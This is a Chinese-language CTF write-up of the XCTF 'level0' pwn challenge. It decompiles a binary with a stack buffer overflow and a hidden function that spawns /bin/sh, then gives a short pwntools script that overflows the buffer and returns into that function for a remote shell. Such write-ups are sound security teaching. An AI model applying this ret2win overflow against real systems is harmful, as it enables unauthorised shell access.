攻防世界 | level0


先反編譯 :

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

追蹤一下 "vulnerable_function()" :

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]
  return read(0, &buf, 0x200uLL);
}

read()函數

原型:ssize_t read(int fd,void*buf,size_t count)
參數說明:
fd:      是文件描述符,對應0
buf:     為讀出數據的緩沖區;
count:   為每次讀取的字節數(是請求讀取的字節數,讀上來的數據保
         存在緩沖區buf中,同時文件的當前讀寫位置向后移)

查找字符串發現了shell,找到函數:

int callsystem()
{
  return system("/bin/sh");
}

找到入口地址:

 

 找到payload長度:

 

paylaod:

from pwn import *
r = remote("111.198.29.45",43164)
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)
r.sendline(payload)
r.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM